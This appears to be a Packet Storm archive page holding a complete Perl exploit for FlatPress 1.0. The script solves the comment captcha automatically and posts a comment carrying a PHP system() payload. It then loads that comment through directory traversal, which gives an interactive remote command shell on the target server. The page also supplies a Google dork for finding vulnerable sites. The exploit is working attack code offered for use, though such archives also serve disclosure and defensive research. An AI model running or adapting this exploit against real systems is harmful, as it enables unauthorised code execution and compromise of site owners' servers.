exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Flatpress 1.0 Traversal / Command Execution

Flatpress 1.0 Traversal / Command Execution
Posted Nov 6, 2013
Authored by Wireghoul

Flatpress version 1.0 remote code execution exploit that leverages a comment loaded through a directory traversal vulnerability.

tags | exploit, remote, code execution
SHA-256 | 8cbb0d3675b2bd21358cd41f0015f77833c3b74c965121dd98e9e879bf4160dc

Flatpress 1.0 Traversal / Command Execution

Change Mirror Download
#!/usr/bin/perl
# Exploit Title: Flatpress remore code execution PoC NULLday
# Google Dork: This site is powered by FlatPress.
# Date: 17/10/2013
# Exploit Author: Wireghoul
# Vendor Homepage: http://flatpress.org/home/
# Software Link:
http://downloads.sourceforge.net/project/flatpress/flatpress/FlatPress%201.0%20Solenne/flatpress-1.0-solenne.tar.bz2
# Version: v1.0
#
# Blended threat, executes code injected into comment
# by loading comment as a page through directory traversal
# Requires the inlinePHP plugin to be enabled.
# Written by @Wireghoul - justanotherhacker.com
#
# This is for my peeps and the freaks in the front row -- Hilltop Hoods:
Nosebleed section

use strict;
use warnings;
use LWP::UserAgent;

&banner;
&usage if (!$ARGV[0]);
my $injid = 'Spl0ited'.int(rand(9999));
my $ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$ua->cookie_jar({ file => "tmp/flatpress-rce.txt" });

sub banner {
print "\nFlatpress remote code execution PoC by \@Wireghoul\n";
print "=======================[ justanotherhacker.com]==\n";
}

sub usage {
print "Usage: $0 <url>\n";
exit;
}

my $response =
$ua->get("$ARGV[0]/fp-plugins/inlinephp/plugin.inlinephp.php");
if (!$response->is_success) {
print "[-] Inline PHP plugin not found at
$ARGV[0]/fp-plugins/inlinephp/plugin.inlinephp.php\n";
} else {
print "[+] Inline PHP plugin found, hopefully it is enabled!\n";
}
# Prepare for exploitation, find entry + comment location
$response = $ua->get($ARGV[0]);
if ($response->is_success) {
if ($response->decoded_content =~
/(http.*?x=entry:entry.*?;comments:1#comments)/) {
my $cmntlink = $1;
print "[+] Found comment link: $cmntlink\n";
my $aaspam = 0; # Can't be bothered solving easy captchas, just
reload page until we get one we like
while ($aaspam == 0) {
$response = $ua->get($cmntlink);
if ($response->decoded_content =~ /<strong>(\d+) plus (\d+) \?
\(\*\)/) {
$aaspam = $1+$2;
print "[+] Defeated antispam $1 + $2 = $aaspam\n";
} else {
$response->decoded_content =~ m/<strong>(.*) \? \(\*\)/;
print "[*] Unknown antispam: $1 ... retrying\n";
}
}
# Post a comment
$response = $ua->post(
$cmntlink."form",
Content => {
'name' => $injid,
'email' => '',
'url' => '',
'aaspam' => $aaspam,
'content' =>
"SHELL[exec]system(\$_GET['cmd']);[/exec]LLEHS",
'submit' => 'Add',
}
);
$response = $ua->get($cmntlink);
# Find link to injected content, then execute psuedo shell in loop
my @cmnts = split (/<li id="comment/, $response->decoded_content);
my @injected = grep /$injid/, @cmnts;
if ($injected[0] =~ /$injid/) {
print "[+] Injection ($injid) successful\n";
$injected[0] =~
m/(http.*?)x=entry:entry(\d\d)(\d\d)(\d\d-\d+);comments:1#comment(\d+-\d+)/;
my
$shell="$1page=../../content/$2/$3/entry$2$3$4/comments/comment$5";
print "[*] Dropping into shell, type exit to exit\n";
my $line='';
while (1) {
print '$';
$line=<STDIN>;
if ($line =~ /^exit$/) { exit; };
my $output=$ua->get("$shell&cmd=$line");
$output->decoded_content =~ /SHELL(.*)LLEHS/ms;
my $clean = $1; $clean =~ s/<br \/>//g;
print "$clean\n";
}
} else {
print '[-] Unable to identify the injection point';
}
} else {
print "[-] Comment link not found\n";
}
} else {
die $response->status_line;
}
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close